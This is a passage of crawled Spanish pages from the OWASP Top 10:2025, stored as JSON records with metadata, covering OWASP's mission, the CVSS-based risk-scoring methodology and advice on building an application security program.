Explotación e Impacto (Técnico) para la otra mitad de la ecuación de riesgo.\n\n¿Por qué no utilizar CVSS v4.0?, se preguntarán. Esto se debe a que el algoritmo de puntuación cambió fundamentalmente y ya no proporciona fácilmente las puntuaciones de *Explotación* o *Impacto* como lo hacen CVSS v2 y CVSSv3. Intentaremos encontrar una manera de utilizar la puntuación CVSS v4.0 para futuras versiones del Top Ten, pero no pudimos determinar una manera oportuna de hacerlo para la edición de 2025.\n\n## Por qué utilizamos una encuesta comunitaria\n\nLos resultados en los datos se limitan en gran medida a lo que la industria puede probar de forma automatizada. Hable con un profesional veterano de AppSec y le hablará de cosas que encuentra y tendencias que ve que aún no están en los datos. Se necesita tiempo para que la gente desarrolle metodologías de prueba para ciertos tipos de vulnerabilidades y luego más tiempo para que esas pruebas se automaticen y se ejecuten contra una gran población de aplicaciones. Todo lo que encontramos es mirar hacia el pasado y podría estar omitiendo tendencias del último año que no están presentes en los datos.\n\nPor lo tanto, solo seleccionamos ocho de las diez categorías a partir de los datos porque están incompletos. Las otras dos categorías provienen de la encuesta comunitaria del Top 10. Permite a los profesionales que están en primera línea votar por lo que consideran los riesgos más altos que podrían no estar en los datos (y que quizá nunca se expresen en datos).\n\n## Gracias a nuestros colaboradores de datos\n\nLas siguientes organizaciones (junto con varios donantes anónimos) donaron amablemente datos de más de 2,8 millones de aplicaciones para hacer de este el conjunto de datos de seguridad de aplicaciones más grande y completo. Sin ustedes, esto no sería posible.\n\n- Accenture (Praga)\n- Anónimo (múltiples)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## Autores Principales\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## Registro de problemas y solicitudes de incorporación de cambios (*pull requests*)\n\nPor favor, registre cualquier corrección o problema:\n\n### Enlaces del proyecto:\n\n- [Página principal](https://owasp.org/www-project-top-ten/)\n- [Repositorio de GitHub](https://github.com/OWASP/Top10)", "znaku_textu": 16858, "slov": 2508, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:44", "sha256": "52e845e41584801e74e316a1783ba682dc52a8d42b02066c930d9bd64553944e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/0x01_2025-About_OWASP/", "titulek": "Acerca de OWASP - OWASP Top 10:2025", "h1": "Acerca de OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/0x01_2025-About_OWASP/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Acerca de OWASP"}, {"uroven": 2, "text": "Derechos de autor y licencia"}], "markdown": "# Acerca de OWASP\n\nEl Proyecto Abierto Global de Seguridad de Aplicaciones (OWASP, por sus siglas en inglés: *Open Worldwide Application Security Project*) es una comunidad abierta dedicada a permitir que las organizaciones desarrollen, adquieran y mantengan aplicaciones y API en las que se pueda confiar.\n\nEn OWASP, encontrará recursos gratuitos y abiertos:\n\n- Herramientas y estándares de seguridad de aplicaciones.\n- Investigación de vanguardia.\n- Controles de seguridad y bibliotecas estándar.\n- Libros completos sobre pruebas de seguridad de aplicaciones, desarrollo de código seguro y revisión de código seguro.\n- Presentaciones y [vídeos](https://www.youtube.com/user/OWASPGLOBAL) .\n- [Guías de referencia rápida](https://cheatsheetseries.owasp.org/) sobre varios temas comunes.\n- [Reuniones de capítulos](https://owasp.org/chapters/) celebradas en todo el mundo y en línea.\n- [Eventos, formación y conferencias](https://owasp.org/events/) .\n- [Google Groups](https://groups.google.com/g/owasp) .\n\nObtenga más información en: [https://owasp.org](https://owasp.org).\n\nTodas las herramientas, documentos, vídeos, presentaciones y capítulos de OWASP son gratuitos y están abiertos a cualquier persona interesada en mejorar la seguridad de las aplicaciones.\n\nAbogamos por abordar la seguridad de las aplicaciones como un problema de personas, procesos y tecnología, ya que los enfoques más eficaces para la seguridad de las aplicaciones requieren mejoras en todas estas áreas.\n\nOWASP es un tipo de organización diferente. Nuestra libertad de presiones comerciales nos permite proporcionar información imparcial, práctica y rentable sobre la seguridad de las aplicaciones.\n\nOWASP no está afiliada a ninguna empresa tecnológica, aunque apoyamos el uso informado de la tecnología de seguridad comercial. OWASP produce muchos tipos de materiales de forma colaborativa, transparente y abierta.\n\nLa Fundación OWASP es la entidad sin ánimo de lucro que garantiza el éxito del proyecto a largo plazo. Casi todas las personas asociadas con OWASP son voluntarias, incluidos la junta directiva de OWASP, los líderes de capítulos, los líderes de proyectos y los miembros de proyectos. Apoyamos la investigación innovadora en seguridad con becas e infraestructura.\n\n¡Únase a nosotros!\n\n## Derechos de autor y licencia\n\nCopyright © 2003-2025 The OWASP® Foundation, Inc. Este documento se publica bajo la licencia Creative Commons Attribution Share-Alike 4.0. Para cualquier reutilización o distribución, debe dejar claros a los demás los términos de la licencia de este trabajo.", "znaku_textu": 2542, "slov": 344, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:45", "sha256": "ee310c9fcfd73f1ddf95f997e1f34b4c44e155f8531c5ec73f6fdad7373c22a7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/0x02_2025-What_are_Application_Security_Risks/", "titulek": "¿Qué son los Riesgos de Seguridad en Aplicaciones? - OWASP Top 10:2025", "h1": "¿Qué son los Riesgos de Seguridad de Aplicaciones?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "¿Qué son los Riesgos de Seguridad de Aplicaciones?"}, {"uroven": 2, "text": "Cómo se utilizan los datos para seleccionar y clasificar las categorías"}, {"uroven": 2, "text": "Factores de Datos"}], "markdown": "# ¿Qué son los Riesgos de Seguridad de Aplicaciones?\n\nLos atacantes pueden utilizar potencialmente muchos caminos diferentes a través de su aplicación para dañar a su empresa u organización. Cada una de estas vías plantea un riesgo potencial que debe ser investigado.\n\n| **Agentes de Amenaza** | **Vectores de Ataque** | **Explotabilidad** | **Probabilidad de Ausencia de Controles** **de Seguridad** | **Impactos Técnicos** | **Impactos de Negocio** |\n| --- | --- | --- | --- | --- | --- |\n| **Por entorno, dinámicos según el panorama de la situación** | **Por exposición de la Aplicación (por entorno)** | **Promedio Ponderado de Explotación** | **Controles Ausentes por tasa media de Incidencia Ponderada por cobertura** | **Promedio Ponderado de Impacto** | **Por Negocio** |\n\nEn nuestra Calificación de Riesgo hemos tenido en cuenta los parámetros universales de explotabilidad, la probabilidad media de ausencia de controles de seguridad para una debilidad y sus impactos técnicos.\n\nCada organización es única, al igual que los actores de amenazas para esa organización, sus objetivos y el impacto de cualquier brecha de seguridad. Si una organización de interés público utiliza un sistema de gestión de contenidos (CMS) para información pública y un sistema de salud utiliza exactamente el mismo CMS para registros médicos sensibles, los actores de amenazas y los impactos de negocio pueden ser muy diferentes para el mismo software. Es fundamental comprender el riesgo para su organización basándose en la exposición de la aplicación, los agentes de amenaza aplicables según el panorama de la situación (para ataques dirigidos y no dirigidos por negocio y ubicación) y los impactos de negocio individuales.\n\n## Cómo se utilizan los datos para seleccionar y clasificar las categorías\n\nEn 2017, seleccionamos las categorías por tasa de incidencia para determinar la probabilidad, y luego las clasificamos mediante una discusión del equipo basada en décadas de experiencia para Explotabilidad, Detectabilidad (también probabilidad) e Impacto Técnico. Para 2021, utilizamos datos de Explotabilidad e Impacto (Técnico) de las puntuaciones CVSSv2 y CVSSv3 en la Base de Datos Nacional de Vulnerabilidades (NVD). Para 2025, continuamos con la misma metodología que creamos en 2021.\n\nDescargamos OWASP Dependency Check y extrajimos las puntuaciones de Explotación e Impacto de CVSS agrupadas por CWE relacionadas. Requirió bastante investigación y esfuerzo, ya que todos los CVE tienen puntuaciones CVSSv2, pero existen fallas en CVSSv2 que CVSSv3 debería abordar. A partir de cierto momento, a todos los CVE se les asigna también una puntuación CVSSv3. Además, los rangos de puntuación y las fórmulas se actualizaron entre CVSSv2 y CVSSv3.\n\nEn CVSSv2, tanto la Explotación como el Impacto (Técnico) podían ser de hasta 10.0, pero la fórmula los reducía al 60% para Explotación y al 40% para Impacto. En CVSSv3, el máximo teórico se limitó a 6,0 para Explotación y 4,0 para Impacto. Teniendo en cuenta la ponderación, la puntuación de Impacto se desplazó hacia arriba, casi un punto y medio de media en CVSSv3, y la explotabilidad se desplazó casi medio punto hacia abajo de media cuando realizamos el análisis para el Top Ten de 2021.\n\nExisten aproximadamente 175.000 registros (frente a los 125.000 de 2021) de CVE mapeados a CWE en la Base de Datos Nacional de Vulnerabilidades (NVD), extraídos de OWASP Dependency Check. Además, hay 643 CWE únicas mapeadas a CVE (frente a las 241 de 2021). Dentro de los casi 220.000 CVE que se extrajeron, 160.000 tenían puntuaciones CVSS v2, 156.000 tenían puntuaciones CVSS v3 y 6.000 tenían puntuaciones CVSS v4. Muchos CVE tienen múltiples puntuaciones, razón por la cual el total es superior a 220.000.\n\nPara el Top Ten 2025, calculamos las puntuaciones medias de explotación e impacto de la siguiente manera. Agrupamos todos los CVE con puntuaciones CVSS por CWE y ponderamos tanto las puntuaciones de explotación como las de impacto por el porcentaje de la población que tenía CVSSv3, así como la población restante con puntuaciones CVSSv2, para obtener una media global. Mapeamos estos promedios a las CWE en el conjunto de datos para utilizarlos como puntuación de Explotación e Impacto (Técnico) para la otra mitad de la ecuación de riesgo.\n\n¿Por qué no utilizar CVSS v4.0?, se preguntarán. Esto se debe a que el algoritmo de puntuación cambió fundamentalmente y ya no proporciona fácilmente las puntuaciones de *Explotación* o *Impacto* como lo hacen CVSSv2 y CVSSv3. Intentaremos encontrar una manera de utilizar la puntuación CVSS v4.0 para futuras versiones del Top Ten, pero no pudimos determinar una manera oportuna de hacerlo para la edición de 2025.\n\nPara la tasa de incidencia, calculamos el porcentaje de aplicaciones vulnerables a cada CWE a partir de la población analizada por una organización durante un periodo de tiempo. Como recordatorio, no estamos utilizando la frecuencia (o cuántas veces aparece un problema en una aplicación), nos interesa qué porcentaje de la población de aplicaciones se encontró que tenía cada CWE.\n\nPara la cobertura, observamos el porcentaje de aplicaciones probadas por todas las organizaciones para una CWE determinada. Cuanto mayor sea la cobertura calculada, mayor será la seguridad de que la tasa de incidencia es precisa, ya que el tamaño de la muestra es más representativo de la población.\n\nLa fórmula que utilizamos para esta iteración es similar a la de 2021, con algunos cambios en la ponderación:\n(Tasa de Incidencia Máxima % * 1000) + (Cobertura Máxima % * 100) + (Promedio de Explotación * 10) + (Promedio de Impacto * 20) + (Suma de Ocurrencias / 10000) = Puntuación de Riesgo\n\nLas puntuaciones calculadas oscilaron entre 621,60 para la categoría de Pérdida de Control de Acceso y 271,08 para Errores de Gestión de Memoria.\n\nEste no es un sistema perfecto, pero es valioso para clasificar las categorías de riesgo.\n\nUn desafío adicional que está creciendo es la definición de una \"aplicación\". A medida que la industria se desplaza hacia diferentes arquitecturas compuestas por microservicios y otras implementaciones que son más pequeñas que una aplicación tradicional, los cálculos son más difíciles. Por ejemplo, si una organización está probando repositorios de código, ¿qué considera una aplicación? Al igual que el crecimiento de CVSSv4, la próxima edición del Top Ten podría necesitar ajustar el análisis y la puntuación para tener en cuenta una industria en constante cambio.\n\n## Factores de Datos\n\nExisten factores de datos que se enumeran para cada una de las categorías del Top Ten; esto es lo que significan:\n\n**CWE Mapeadas:** El número de CWE mapeadas a una categoría por el equipo del Top Ten.\n\n**Tasa de Incidencia:** La tasa de incidencia es el porcentaje de aplicaciones vulnerables a esa CWE de la población analizada por esa organización para ese año.\n\n**Explotación Ponderada:** La subpuntuación de Explotación de las puntuaciones CVSSv2 y CVSSv3 asignadas a los CVE mapeados a las CWE, normalizada y colocada en una escala de 10 puntos.\n\n**Impacto Ponderado:** La subpuntuación de Impacto de las puntuaciones CVSSv2 y CVSSv3 asignadas a los CVE mapeados a las CWE, normalizada y colocada en una escala de 10 puntos.\n\n**Cobertura (de Pruebas):** El porcentaje de aplicaciones probadas por todas las organizaciones para una CWE determinada.\n\n**Ocurrencias Totales:** Número total de aplicaciones que se encontró que tenían las CWE mapeadas a una categoría.\n\n**CVE Totales:** Número total de CVE en la base de datos NVD que fueron mapeados a las CWE mapeadas a una categoría.\n\n**Fórmula:** (Tasa de Incidencia Máxima % * 1000) + (Cobertura Máxima % * 100) + (Promedio de Explotación * 10) + (Promedio de Impacto * 20) + (Suma de Ocurrencias / 10000) = Puntuación de Riesgo", "znaku_textu": 7610, "slov": 1206, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:46", "sha256": "b326c01e3bcc2e7c4bab0251eb46dca3d4a6de5cc9006837fd122cbe6d0840e3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Estableciendo un Programa Moderno de Seguridad en Aplicaciones - OWASP Top 10:2025", "h1": "Establecimiento de un Programa Moderno de Seguridad de Aplicaciones", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Establecimiento de un Programa Moderno de Seguridad de Aplicaciones"}, {"uroven": 3, "text": "1. Establecer un enfoque de cartera basado en el riesgo:"}, {"uroven": 3, "text": "2. Habilitar con una base sólida:"}, {"uroven": 3, "text": "3. Integrar la seguridad en los procesos existentes:"}, {"uroven": 3, "text": "4. Educación en Seguridad de Aplicaciones:"}, {"uroven": 3, "text": "5. Proporcionar visibilidad a la dirección:"}, {"uroven": 2, "text": "Establecer y utilizar procesos de seguridad repetibles y controles de seguridad estándar"}, {"uroven": 3, "text": "Fase de Gestión de Recursos y Requisitos:"}, {"uroven": 3, "text": "Solicitud de Propuestas (RFP) y Contratación:"}, {"uroven": 3, "text": "Fase de Planificación y Diseño:"}, {"uroven": 3, "text": "Ciclo de Vida de Desarrollo Seguro:"}, {"uroven": 3, "text": "Establecer Pruebas Continuas de Seguridad de Aplicaciones:"}, {"uroven": 3, "text": "Despliegue:"}, {"uroven": 3, "text": "Operaciones y Gestión de Cambios:"}, {"uroven": 3, "text": "Retirada de Sistemas:"}, {"uroven": 2, "text": "Uso del OWASP Top 10 como estándar"}], "markdown": "# Establecimiento de un Programa Moderno de Seguridad de Aplicaciones\n\nLas listas del OWASP Top Ten son documentos de concienciación, destinados a llamar la atención sobre los riesgos más críticos de cualquier tema que cubran. No pretenden ser una lista completa, sino solo un punto de partida. En versiones anteriores de esta lista, hemos prescrito el inicio de un programa de seguridad de aplicaciones como la mejor manera de evitar estos riesgos, y más. En esta sección cubriremos cómo iniciar y construir un programa moderno de seguridad de aplicaciones.\n\nSi ya dispone de un programa de seguridad de aplicaciones, considere realizar una evaluación de madurez del mismo utilizando [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) o DSOMM (DevSecOps Maturity Model). Estos modelos de madurez son integrales y exhaustivos, y pueden utilizarse para ayudarle a determinar dónde debe centrar mejor sus esfuerzos para ampliar y madurar su programa. Tenga en cuenta que no es necesario hacer todo lo que figura en OWASP SAMM o DSOMM para realizar un buen trabajo; su propósito es guiarle y ofrecerle muchas opciones. No pretenden ofrecer estándares inalcanzables ni describir programas inasumibles. Son amplios para ofrecerle muchas ideas y opciones.\n\nSi está iniciando un programa desde cero, o si considera que OWASP SAMM o DSOMM son \"demasiado\" para su equipo en este momento, por favor revise los siguientes consejos.\n\n### 1. Establecer un enfoque de cartera basado en el riesgo:\n\n- Identifique las necesidades de protección de su cartera de aplicaciones desde una perspectiva de negocio. Esto debe estar impulsado, en parte, por las leyes de privacidad y otras regulaciones relevantes para el activo de datos que se protege.\n- Establezca un [modelo común de calificación de riesgos](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) con un conjunto consistente de factores de probabilidad e impacto que reflejen la tolerancia al riesgo de su organización.\n- Mida y priorice en consecuencia todas sus aplicaciones y API. Añada los resultados a su [Base de Datos de Gestión de Configuración (CMDB, *Configuration Management Database*)](https://es.wikipedia.org/wiki/Base_de_datos_de_gesti%C3%B3n_de_configuraci%C3%B3n).\n- Establezca pautas de aseguramiento para definir adecuadamente la cobertura y el nivel de rigor requeridos.\n\n### 2. Habilitar con una base sólida:\n\n- Establezca un conjunto de políticas y estándares enfocados que proporcionen una línea base de seguridad de aplicaciones a la que deban adherirse todos los equipos de desarrollo.\n- Defina un conjunto común de controles de seguridad reutilizables que complementen estas políticas y estándares, y proporcione orientación de diseño y desarrollo sobre su uso.\n- Establezca un plan de estudios de formación en seguridad de aplicaciones que sea obligatorio y esté dirigido a diferentes roles y temas de desarrollo.\n\n### 3. Integrar la seguridad en los procesos existentes:\n\n- Defina e integre actividades de implementación y verificación seguras en los procesos de desarrollo y operativos existentes.\n- Las actividades incluyen el modelado de amenazas, el diseño seguro y la revisión del diseño, la codificación segura y la revisión de código, las pruebas de penetración (*penetration testing*) y la remediación.\n- Proporcione expertos en la materia y servicios de apoyo para que los equipos de desarrollo y de proyectos tengan éxito.\n- Revise su ciclo de vida de desarrollo de sistemas (SDLC, *System Development Life Cycle*) actual y todas las actividades, herramientas, políticas y procesos de seguridad del software, y documéntelos.\n- Para el nuevo software, añada una o más actividades de seguridad a cada fase del ciclo de vida de desarrollo de sistemas. A continuación ofrecemos muchas sugerencias de lo que puede hacer. Asegúrese de realizar estas nuevas actividades en cada nuevo proyecto o iniciativa de software; de esta manera, sabrá que cada nueva pieza de software se entregará con una postura de seguridad aceptable para su organización.\n- Seleccione sus actividades para garantizar que su producto final cumpla con un nivel de riesgo aceptable para su organización.\n- Para el software existente (a veces llamado *legacy*), querrá tener un plan de mantenimiento formal; por favor, busque ideas sobre cómo mantener aplicaciones seguras en la sección llamada \"Operaciones y Gestión de Cambios\".\n\n### 4. Educación en Seguridad de Aplicaciones:\n\n- Considere iniciar un programa de \"campeones de seguridad\" (*security champions*), o un programa general de educación en seguridad para sus desarrolladores (a veces llamado programa de promoción o de concienciación sobre seguridad), para enseñarles todo lo que desearía que supieran. Esto los mantendrá actualizados, les ayudará a saber cómo realizar su trabajo de forma segura y hará que la cultura de seguridad en su lugar de trabajo sea más positiva. A menudo, también mejora la confianza entre los equipos y facilita una relación de trabajo más satisfactoria. OWASP le apoya en esto con la [Guía de Campeones de Seguridad de OWASP](https://securitychampions.owasp.org/), que se está ampliando paso a paso.\n- El Proyecto de Educación de OWASP proporciona materiales de formación para ayudar a educar a los desarrolladores en la seguridad de las aplicaciones web. Para un aprendizaje práctico sobre vulnerabilidades, pruebe el [Proyecto OWASP Juice Shop](https://owasp.org/www-project-juice-shop/) o [OWASP WebGoat](https://owasp.org/www-project-webgoat/). Para mantenerse al día, asista a una [Conferencia OWASP AppSec](https://owasp.org/events/), a una [Formación en Conferencias OWASP](https://owasp.org/events/) o a las reuniones de su [Capítulo OWASP](https://owasp.org/chapters/) local.\n\n### 5. Proporcionar visibilidad a la dirección:\n\n- Gestione con métricas. Impulse la mejora y las decisiones de financiación basándose en las métricas y los datos de análisis capturados. Las métricas incluyen la adherencia a las prácticas y actividades de seguridad, las vulnerabilidades introducidas, las vulnerabilidades mitigadas, la cobertura de aplicaciones, la densidad de defectos por tipo y recuento de instancias, etc.\n- Analice los datos de las actividades de implementación y verificación para buscar la causa raíz y patrones de vulnerabilidad para impulsar mejoras estratégicas y sistémicas en toda la empresa. Aprenda de los errores y ofrezca incentivos positivos para promover mejoras.\n\n## Establecer y utilizar procesos de seguridad repetibles y controles de seguridad estándar\n\n### Fase de Gestión de Recursos y Requisitos:\n\n- Recopile y negocie los requisitos de negocio para una aplicación con el área de negocio, incluidos los requisitos de protección con respecto a la confidencialidad, autenticidad, integridad y disponibilidad de todos los activos de datos, y la lógica de negocio esperada.\n- Recopile los requisitos técnicos, incluidos los requisitos de seguridad funcionales y no funcionales. OWASP recomienda utilizar el [Estándar de Verificación de Seguridad de Aplicaciones (ASVS, *Application Security Verification Standard*) de OWASP](https://owasp.org/www-project-application-security-verification-standard/) como guía para establecer los requisitos de seguridad de su(s) aplicación(es).\n- Planifique y negocie el presupuesto que cubra todos los aspectos de diseño, construcción, pruebas y operación, incluidas las actividades de seguridad.\n- Añada actividades de seguridad al cronograma de su proyecto.\n- Preséntese como el representante de seguridad en el inicio del proyecto (*kick off*), para que sepan con quién hablar.\n\n### Solicitud de Propuestas (RFP) y Contratación:\n\n- Negocie los requisitos con desarrolladores internos o externos, incluyendo directrices y requisitos de seguridad con respecto a su programa de seguridad, por ejemplo, SDLC, mejores prácticas.\n- Evalúe el cumplimiento de todos los requisitos técnicos, incluyendo una fase de planificación y diseño.\n- Negocie todos los requisitos técnicos, incluyendo el diseño, la seguridad y los acuerdos de nivel de servicio (SLA).\n- Adopte plantillas y listas de verificación (*checklists*), como el [Anexo de Contrato de Software Seguro de OWASP](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex).\n**Nota:** *El anexo es para el derecho contractual de EE. UU., por lo que le rogamos que consulte con un asesor legal cualificado antes de utilizar el anexo de muestra.*\n\n### Fase de Planificación y Diseño:\n\n- Negocie la planificación y el diseño con los desarrolladores y las partes interesadas internas, por ejemplo, especialistas en seguridad.\n- Defina la arquitectura de seguridad, los controles, las contramedidas y las revisiones de diseño apropiadas para las necesidades de protección y el nivel de amenaza esperado. Esto debe contar con el apoyo de especialistas en seguridad.\n- En lugar de adaptar la seguridad a sus aplicaciones y API a posteriori, es mucho más rentable diseñar la seguridad desde el principio. OWASP recomienda las [Guías de referencia rápida de OWASP (*Cheat Sheets*)](https://cheatsheetseries.owasp.org/index.html) y los [Controles Proactivos de OWASP](https://top10proactive.owasp.org/) como un buen punto de partida para orientarse sobre cómo diseñar la seguridad incluida desde el inicio.\n- Realice el modelado de amenazas, consulte la [Guía de referencia rápida de OWASP: Modelado de Amenazas](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html).\n- Enseñe a sus arquitectos de software conceptos y patrones de diseño seguro y pídales que los añadan a sus diseños siempre que sea posible.\n- Examine los flujos de datos con sus desarrolladores.\n- Añada historias de usuario de seguridad junto con todas sus otras historias de usuario.\n\n### Ciclo de Vida de Desarrollo Seguro:\n\n- Para mejorar el proceso que sigue su organización al construir aplicaciones y API, OWASP recomienda el [Modelo de Madurez de Aseguramiento de Software (SAMM, *Software Assurance Maturity Model*) de OWASP](https://owasp.org/www-project-samm/). Este modelo ayuda a las organizaciones a formular e implementar una estrategia de seguridad de software adaptada a los riesgos específicos a los que se enfrenta su organización.\n- Proporcione formación en codificación segura a sus desarrolladores de software, y cualquier otra formación que considere que les ayudará a crear aplicaciones más robustas y seguras.\n- Revisión de código, consulte la [Guía de referencia rápida de OWASP: Revisión de Código Seguro](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html).\n- Entregue a sus desarrolladores herramientas de seguridad y enséñeles a utilizarlas, especialmente los escáneres de análisis estático (SAST), análisis de composición de software (SCA), secretos e [Infraestructura como Código (IaC, *Infrastructure-as-Code*)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html).\n- Cree \"barreras de protección\" (*guardrails*) para sus desarrolladores, si es posible (salvaguardas técnicas para orientarlos hacia opciones más seguras).\n- Construir controles de seguridad fuertes y usables es difícil. Ofrezca valores predeterminados seguros siempre que sea posible, y cree \"caminos pavimentados\" (*paved roads* — hacer que la forma más fácil sea también la más segura de hacer algo, la opción preferida obvia) siempre que sea posible. Las [Guías de referencia rápida de OWASP (*Cheat Sheets*)](https://cheatsheetseries.owasp.org/index.html) son un buen punto de partida para los desarrolladores, y muchos marcos de trabajo modernos vienen ahora con controles de seguridad estándar y efectivos para la autorización, validación, prevención de CSRF, etc.\n- Entregue a sus desarrolladores complementos (*plugins*) de IDE relacionados con la seguridad y anímelos a usarlos.\n- Proporcióneles una herramienta de gestión de secretos, licencias y documentación sobre cómo utilizarla.\n- Proporcióneles una IA privada para su uso, idealmente configurada con un servidor RAG lleno de documentación de seguridad útil, *prompts* que su equipo haya escrito para obtener mejores resultados y un servidor MCP que llame a las herramientas de seguridad preferidas de su organización. Enséñeles a utilizar la IA de forma segura, porque lo van a hacer tanto si le gusta como si no.\n\n### Establecer Pruebas Continuas de Seguridad de Aplicaciones:\n\n- Pruebe las funciones técnicas y la integración con la arquitectura de TI y coordine las pruebas de negocio.\n- Cree casos de prueba de \"uso\" y \"abuso\" desde las perspectivas técnica y de negocio.\n- Gestione las pruebas de seguridad de acuerdo con los procesos internos, las necesidades de protección y el nivel de amenaza asumido por la aplicación.\n- Proporcione herramientas de pruebas de seguridad (*fuzzers*, DAST, etc.), un lugar seguro para realizar las pruebas y formación sobre cómo usarlas, O realice las pruebas por ellos, O contrate a un evaluador.\n- Si requiere un alto nivel de aseguramiento, considere una prueba de penetración formal, así como pruebas de estrés y de rendimiento.\n- Trabaje con sus desarrolladores para ayudarles a decidir qué deben corregir de los informes de errores, y asegúrese de que sus gerentes les den tiempo para hacerlo.\n\n### Despliegue:\n\n- Ponga la aplicación en funcionamiento y migre desde aplicaciones utilizadas anteriormente si es necesario.\n- Finalice toda la documentación, incluida la base de datos de gestión de cambios (CMDB) y la arquitectura de seguridad.\n\n### Operaciones y Gestión de Cambios:\n\n- Las operaciones deben incluir directrices para la gestión de la seguridad de la aplicación (por ejemplo, gestión de parches).\n- Aumente la concienciación sobre seguridad de los usuarios y gestione los conflictos entre usabilidad y seguridad.\n- Planifique y gestione los cambios, por ejemplo, la migración a nuevas versiones de la aplicación u otros componentes como el sistema operativo, el *middleware* y las bibliotecas.\n- Asegúrese de que todas las aplicaciones estén en su inventario, con todos los detalles importantes documentados. Actualice toda la documentación, incluyendo la de la CMDB y la arquitectura de seguridad, los controles y las contramedidas, así como cualquier manual de procedimientos (*runbook*) o documentación del proyecto.\n- Realice el registro, el monitoreo y las alertas para todas las aplicaciones. Añádalo si falta.\n- Cree procesos para una actualización y aplicación de parches eficaces y eficientes.\n- Establezca programas de escaneo regulares (idealmente dinámico, estático, de secretos, IaC y de análisis de composición de software).\n- Acuerdos de Nivel de Servicio (SLA) para la corrección de errores de seguridad.\n- Proporcione una forma para que los empleados (e idealmente también sus clientes) informen sobre errores.\n- Establezca un equipo de respuesta a incidentes capacitado que comprenda cómo son los ataques de software y que cuente con herramientas de observabilidad.\n- Ejecute herramientas de bloqueo o protección para detener ataques automatizados.\n- Refuerzo de configuraciones (*hardening*) anual (o más frecuente).\n- Pruebas de penetración al menos anuales (dependiendo del nivel de aseguramiento requerido para su aplicación).\n- Establezca procesos y herramientas para reforzar y proteger su cadena de suministro de software.\n- Establezca y actualice la planificación de la continuidad del negocio y la recuperación ante desastres que incluya sus aplicaciones más importantes y las herramientas que utiliza para mantenerlas.\n\n### Retirada de Sistemas:\n\n- Cualquier dato requerido debe ser archivado. Todos los demás datos deben ser borrados de forma segura.\n- Retire la aplicación de forma segura, incluyendo la eliminación de cuentas, roles y permisos no utilizados.\n- Establezca el estado de su aplicación como retirado en la CMDB.\n\n## Uso del OWASP Top 10 como estándar\n\nEl OWASP Top 10 es principalmente un documento de concienciación. Sin embargo, esto no ha impedido que las organizaciones lo utilicen como un estándar de AppSec de facto en la industria desde su creación en 2003. Si desea utilizar el OWASP Top 10 como un estándar de codificación o de pruebas, sepa que es el mínimo indispensable y solo un punto de partida.\n\nUna de las dificultades de utilizar el OWASP Top 10 como estándar es que documentamos riesgos de AppSec, y no necesariamente problemas fácilmente comprobables. Por ejemplo, [A06:2025 - Diseño Inseguro](../A06_2025-Insecure_Design/) está fuera del alcance de la mayoría de las formas de prueba. Otro ejemplo es comprobar si se han implementado registros y monitoreo eficaces en el lugar de uso, lo cual solo puede hacerse mediante entrevistas y solicitando un muestreo de respuestas a incidentes efectivas. Una herramienta de análisis de código estático puede buscar la ausencia de registros, pero puede ser imposible determinar si la lógica de negocio o el control de acceso están registrando 